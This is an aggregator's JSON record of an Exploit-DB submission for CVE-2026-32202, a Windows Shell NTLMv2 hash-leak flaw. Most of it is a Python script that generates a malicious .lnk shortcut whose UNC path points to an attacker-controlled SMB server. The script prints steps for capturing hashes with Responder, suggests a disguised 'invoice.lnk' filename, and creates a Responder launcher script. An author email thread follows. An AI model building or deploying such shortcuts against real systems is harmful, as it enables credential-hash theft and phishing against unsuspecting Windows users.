{"exploit":{"id":"EDB-52601","name":"Microsoft - NTLMv2 Hash Capture","description":"Microsoft - NTLMv2 Hash Capture","cves":["CVE-2026-32202"],"author":"nu11secur1ty","published":"2026-05-29","platform":"windows","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52601","path":"exploits/windows/remote/52601.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52601.txt","vulnerabilities":[{"id":"CVE-2026-32202","state":"PUBLISHED","title":"Windows Shell Spoofing Vulnerability","titleSource":"CVE Program","description":"Protection mechanism failure in Windows Shell allows an unauthorized attacker to perform spoofing over a network.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-32202","cvss":{"version":"3.1","baseScore":4.3,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N/E:F/RL:O/RC:C","source":"microsoft","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-32202"},"updatedAt":"2026-10-15T15:52:51.458Z","retrievedAt":"2026-11-25T16:15:43.343Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52601.png?v=2","url":"https://exploitbin.com/exploits/EDB-52601","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52601/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52601/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Titles: Microsoft - NTLMv2 Hash Capture\n# Author: nu11secur1ty\n# Date: 2026-05-27\n# Vendor: Microsoft\n# Software: Windows Shell (File Explorer)\n# Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-32202\n\n## Description:\nA spoofing vulnerability in Windows Shell (File Explorer) allows an\nattacker to capture NTLMv2 hashes without user interaction. By crafting a\nmalicious .lnk (shortcut) file with a UNC path pointing to an\nattacker-controlled SMB server, the target's Windows system automatically\nsends an NTLMv2 authentication request when the folder containing the .lnk\nfile is opened. No click on the shortcut is required – simply viewing the\nfolder triggers the vulnerability.\n\n**CVSS**: 4.3 (Medium) – NetNTLMv2 hash leak\n**Attack Vector**: Network (SMB)\n**Privileges Required**: None (user only needs to open a folder)\n**User Interaction**: None (zero-click)\n\n**Affected Versions**:\n- Windows 11 23H2, 24H2, 25H2, 26H1\n- Windows 10 21H2-22H2\n- Windows Server 2019/2022/2025\n\n**Patch**: Microsoft April 2026 Patch Tuesday (KB2026-04214)\n\nSTATUS: MEDIUM - HIGH/ Vulnerability\n\n[+]Payload:\n\n```POST\nSMB/CIFS NTLMv2 Authentication Request\nUNC Path: \\\\ATTACKER_IP\\share\\payload.dll\nProtocol: SMB2 (port 445)\nHash Type: NetNTLMv2\n```\n[+]Exploit:\n\n```\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-32202 LNK Exploit Generator\nAuthor: nu11secur1ty\nGenerates LNK file that leaks NTLM hash to Responder/Impacket\n\"\"\"\n\nimport struct\nimport sys\nimport os\n\ndef create_malicious_lnk(attacker_ip, output_file=\"exploit.lnk\",\nshare_name=\"share\"):\n    \"\"\"\n    Creates LNK file with UNC path to attacker machine\n    \"\"\"\n\n    unc_path = f\"\\\\\\\\{attacker_ip}\\\\{share_name}\\\\test\"\n    unc_utf16 = unc_path.encode('utf-16le') + b'\\x00\\x00'\n\n    # LNK structure (standard + vulnerable component)\n    lnk = bytearray()\n\n    # ===== HEADER (76 bytes) =====\n    lnk.extend(struct.pack('<I', 0x0000004C))  # HeaderSize\n    # LinkCLSID: {00021401-0000-0000-C000-000000000046}\n\nlnk.extend(b'\\x01\\x14\\x02\\x00\\x00\\x00\\x00\\x00\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x46')\n    lnk.extend(struct.pack('<I', 0x000002A3))  # LinkFlags\n(HasName|HasWorkingDir|HasArguments|IsUnicode)\n    lnk.extend(struct.pack('<I', 0x00000080))  # FileAttributes (NORMAL)\n    lnk.extend(struct.pack('<Q', 0))           # CreationTime\n    lnk.extend(struct.pack('<Q', 0))           # AccessTime\n    lnk.extend(struct.pack('<Q', 0))           # WriteTime\n    lnk.extend(struct.pack('<I', 0x00001000))  # FileSize\n    lnk.extend(struct.pack('<I', 0x00000000))  # IconIndex\n    lnk.extend(struct.pack('<I', 0x00000001))  # ShowCommand (SW_NORMAL)\n    lnk.extend(struct.pack('<H', 0x0000))      # Hotkey\n    lnk.extend(b'\\x00\\x00')                    # Reserved\n    lnk.extend(b'\\x00\\x00\\x00\\x00')            # Reserved2\n    lnk.extend(b'\\x00\\x00\\x00\\x00')            # Reserved3\n\n    # ===== IDLIST (activates when folder is opened) =====\n    # Shell Folder IDITEM\n    lnk.extend(b'\\x14\\x00')                    # ItemID size (20 bytes)\n\nlnk.extend(b'\\x2e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n    lnk.extend(b'\\x00\\x00')                    # Terminating ID\n\n    # ===== STRING DATA (CRITICAL FOR EXPLOIT) =====\n    # NameString (UNC path - triggers NTLM hash leak)\n    lnk.extend(struct.pack('<H', len(unc_utf16)))\n    lnk.extend(unc_utf16)\n\n    # ArgumentsString (empty)\n    lnk.extend(b'\\x00\\x00')\n\n    # WorkingDir (UNC path again)\n    lnk.extend(struct.pack('<H', len(unc_utf16)))\n    lnk.extend(unc_utf16)\n\n    # ===== Console Properties (required for some Windows versions) =====\n    lnk.extend(b'\\x50\\x00\\x14\\x00')           # dwWindowSize (80x20)\n    lnk.extend(b'\\x50\\x00\\xfa\\x00')           # dwBufferSize (80x250)\n    lnk.extend(b'\\x00\\x00\\x00\\x00')           # dwFontSize\n    lnk.extend(b'\\x00\\x00\\x00\\x00')           # dwFontFamily\n    lnk.extend(b'\\x00\\x00\\x00\\x00')           # dwFaceNameLen\n    lnk.extend(b'\\x00\\x00\\x00\\x00')           # dwFaceNameOffset\n    lnk.extend(b'\\x00\\x00\\x00\\x00')           # dwStyle\n    # 64 bytes padding\n    lnk.extend(b'\\x00' * 64)\n\n    # Save the file\n    with open(output_file, 'wb') as f:\n        f.write(lnk)\n\n    return output_file, unc_path\n\ndef main():\n    print(r\"\"\"\n    ╔═══════════════════════════════════════════╗\n    ║  CVE-2026-32202 - LNK Generator           ║\n    ║  Author: nu11secur1ty                     ║\n    ╚═══════════════════════════════════════════╝\n    \"\"\")\n\n    if len(sys.argv) < 2:\n        print(\"Usage: python3 cve_2026_32202_gen.py <ATTACKER_IP>\n[output_file]\")\n        print(\"Example: python3 cve_2026_32202_gen.py 192.168.1.100\ninvoice.lnk\")\n        sys.exit(1)\n\n    attacker_ip = sys.argv[1]\n    output_file = sys.argv[2] if len(sys.argv) > 2 else \"exploit.lnk\"\n\n    lnk_file, unc_path = create_malicious_lnk(attacker_ip, output_file)\n\n    print(f\"[+] Exploit ready!\")\n    print(f\"[+] File: {lnk_file}\")\n    print(f\"[+] UNC path: {unc_path}\")\n    print()\n    print(\"[*] Next steps:\")\n    print(f\"    1. Start Responder: sudo responder -I eth0 -v\")\n    print(f\"    2. Transfer {lnk_file} to Windows 11 Desktop\")\n    print(f\"    3. Open Desktop in File Explorer (no click required)\")\n    print(f\"    4. Watch Responder - NTLM hash will appear\")\n    print()\n\n    with open(\"start_responder.sh\", \"w\") as f:\n        f.write(\"#!/bin/bash\\n\")\n        f.write(\"echo \\\"[+] Starting Responder...\\\"\\n\")\n        f.write(\"sudo responder -I eth0 -v\\n\")\n    os.chmod(\"start_responder.sh\", 0o755)\n    print(\"[+] Helper script created: start_responder.sh\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\nDemo:\n[href](https://www.patreon.com/posts/cve-2026-32202-159362448)\n\nCode:\n[code](\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-32202)\n\nTime spent:\n02:30:00\n\n--\nSystem Administrator - Infrastructure Engineer\nPenetration Testing Engineer\nExploit developer at https://packetstormsecurity.com/\nhttps://cve.mitre.org/index.html\nhttps://cxsecurity.com/ and https://www.exploit-db.com/\nhome page: https://www.asc3t1c-nu11secur1ty.com/\nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\nnu11secur1ty https://www.asc3t1c-nu11secur1ty.com/\n\nOn Wed, May 27, 2026 at 2:06 PM Offsec Exploits <\nsubmit@offensive-security.com> wrote:\n\n> Hello,\n>\n> Thank you for your submission.\n> We will be checking it shortly.\n>\n> Regards\n> - Exploit-DB Team\n>\n\n\n--\n\nSystem Administrator - Infrastructure Engineer\nPenetration Testing Engineer\nExploit developer at https://packetstorm.news/\nhttps://cve.mitre.org/index.html\nhttps://cxsecurity.com/ and https://www.exploit-db.com/\n0day Exploit DataBase https://0day.today/\nhome page: https://www.asc3t1c-nu11secur1ty.com/\nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\n                          nu11secur1ty <http://nu11secur1ty.com/>","sha256":"6e07f248bddc74d1d61431b9211e02896f916ac18a047f66f9e0d6aee5de810c","bytes":6900,"fetchedAt":"2026-11-26T08:59:36.678Z","encoding":"utf-8 (display only; download retains original bytes)"}